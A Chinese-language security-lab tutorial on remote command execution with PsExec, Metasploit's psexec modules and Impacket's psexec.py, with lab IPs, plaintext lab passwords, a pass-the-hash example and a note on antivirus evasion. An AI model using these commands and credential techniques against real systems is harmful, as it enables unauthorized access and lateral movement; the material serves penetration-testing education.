psexec工具的使用

2022-01-20 15:58:50 浏览数 (1)

Psexec工具的使用

作者:谢公子 @深蓝攻防实验室

目录

psexec使用前提

工作组环境

域环境

登录域控

以域用户登录域成员主机

以本地用户登录域成员主机

MSF中的psexec模块

Impacket中的psexec.py

psexec 是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开机3389端口,只需要对方开启admin共享或 c (该共享默认开启,依赖于445端口)。但是,假如目标主机开启了防火墙(因为防火墙默认禁止445端口的连接),psexec也是不能使用的,会提示找不到网络路径。由于psexec是windows提供的工具,所以杀毒软件会将其添加到白名单中。

psexec.exe依赖于admin共享,而impacket下的psexec.py则依赖于admin或c

psexec的基本原理是:通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为"PSEXESVC"的二进制文件。然后,通过psexec服务运行命令,运行结束后删除服务。

在使用psexec执行远程命令时,会在目标系统中创建一个psexec服务。命令执行后,psexec服务将会被自动删除。由于创建或删除服务时会产生大量的日志,所以会在攻击溯源时通过日志反推攻击流程。

01

psexec使用前提

  • 对方主机开启了 admin 共享,如果关闭了admin共享,会提示:找不到网络名
  • 如果是工作组环境,则必须使用administrator用户连接,使用普通用户连接会提示:登录失败: 未授予用户在此计算机上的请求登录类型。
  • 如果是域环境,连接普通域主机可以用普通域用户,连接域控需要域管理员。

参数:

  • -u:指定用户名
  • -p:指定密码
  • -accepteula:第一次运行psexec会弹出确认框,使用该参数就不会弹出确认框
  • -s:以system权限运行运程进程,获得一个system权限的交互式shell。如果不使用该参数,会获得一个administrator权限的shell

02

工作组环境

如果是在非域环境下即工作组环境,psexec只能使用 administrator 账号登录,使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。

目标机器:192.168.10.131

  • 管理员:administrator 密码:root
  • 管理员:test 密码:root
  • 非管理员:hack 密码:root
代码语言:javascript复制
psexec.exe \192.168.10.131 -u administrator -p root cmd

由图可知,只有 administrator 用户可使用psexec登陆。即使 test 用户也在管理,也不能登录。

03

域环境

登录域控

域控只能使用域管理员组内账号密码登录,不能使用域普通成员账号登录,也不能本地登录。

  • 域控:192.168.10.131
  • 域管理员:xietest 密码:x123456./
代码语言:javascript复制
psexec.exe \192.168.10.131 -u xietest -p x123456./ cmd

以域用户登录域成员主机

  • 域成员主机:192.168.10.130
  • 域普通用户:xiehack 密码:x123456./

域成员主机可以使用普通域用户登录

代码语言:javascript复制
psexec.exe \192.168.10.130 -u xiehack -p x123456./ cmd

以本地用户登录域成员主机

  • 域成员主机:192.168.10.22 (pc-win2008)
  • 本地管理员:administrator 密码:root

使用本地用户登录域成员主机,也只能使用本地的 administrator 用户登录,前提是该主机没禁用administrator用户。

04

MSF中的psexec模块

END

MSF中的psexec,主要讲以下两个:

  • exploit/windows/smb/psexec:该模块生成的payload是exe程序
  • exploit/windows/smb/psexec_psh :该模块生成的payload主要是由powershell实现的

显然powershell生成的payload免杀效果比exe的要好,但是windows xp、server2003默认不包含powershell环境。所以,这两个模块各有各自的优势。

use exploit/windows/smb/psexec

set rhost 192.168.10.131

set smbuser administrator

set smbpass x123456./@

exploit

攻击成功后,会返回一个meterpreter类型的session

05

Impacket中的psexec.py

关于如何安装Impacket框架

git clone https://github.com/CoreSecurity/impacket.git

cd impacket/

python setup.py install

cd examples

./psexec.py xxx

这里由于我是在自己的VPS上安装的Impacket框架,而靶机处在内网,所以我用代理实现互通。

#用明文密码连接

./psexec.py xie/administrator:密码@192.168.10.131

#用哈希值连接

./psexec.py xie/administrator@192.168.10.131 -hashes AADA8EDA23213C025AE50F5CD5697D9F:6542D35ED5FF6AE5E75B875068C5D3BC

如果对方主机未开启445端口,则报如下错:

[-] [Errno Connection error (xx.xx.xx.xx:445)] [WinError 10060] 由于连接方在一段时间后没有正确答复或连接的主机没有反应,连接尝试失败。

如果对方主机开启了445端口,但是没有开启admin和c共享,则报如下错:

[*] Requesting shares on xx.xx.xx.xx.....

0 人点赞